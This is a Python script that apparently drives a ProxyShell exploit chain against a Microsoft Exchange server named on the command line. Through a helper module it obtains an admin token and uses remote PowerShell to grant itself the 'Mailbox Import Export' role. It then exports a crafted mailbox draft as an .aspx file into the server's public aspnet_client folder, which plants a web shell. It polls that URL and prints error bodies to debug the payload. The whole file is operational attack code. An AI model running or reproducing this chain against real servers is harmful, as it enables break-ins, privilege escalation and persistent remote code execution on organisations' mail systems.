#!/usr/bin/env python3
# export .aspx and poll; dump 500 body to find parse error
import sys, time, random, re
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
host = sys.argv[1]
ext = sys.argv[2] if len(sys.argv) > 2 else 'aspx'
ps = P.ProxyShell(f'https://{host}', timeout=35)
ps.get_fqdn(); ps.get_legacydn(); ps.get_sid()
print("mb", ps.email, "user", ps.sid, flush=True)
ps.sid = ps.sid
print("ews", ps.set_ews(), flush=True)
ps.sid = ps.admin_sid; ps.get_token()
port = random.randint(20000, 40000); P.start_server(ps, port); time.sleep(1)
try: P.wsman_shell('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email.split('@')[0], port)
except Exception as e: print("roleassign", e, flush=True)
time.sleep(2)
name = "x%s.%s" % (P.rand_string(4), ext)
unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
cmd = ('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") '
       '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (ps.email, P.subj_, unc)
try:
    o, e = P.wsman_shell(cmd, port)
    for x in o: print("  ", str(x)[:150], flush=True)
except Exception as ex: print("  export exc", ex, flush=True)
fu = f"https://{host}/aspnet_client/{name}"
for i in range(12):
    try:
        r = requests.get(fu, verify=False, timeout=20)
        b = r.content
        print(f"[{i}] {r.status_code} size={len(b)} head={b[:50]!r}", flush=True)
        if r.status_code >= 400:
            t = re.sub(rb'<[^>]+>', b' ', b).decode('latin1', 'ignore')
            t = re.sub(r'\s+', ' ', t)
            print("   BODY:", t[:500], flush=True)
        elif r.status_code == 200:
            open("ok.bin", "wb").write(b); break
    except Exception as ex:
        print("[%d] exc %s" % (i, ex), flush=True)
    time.sleep(5)
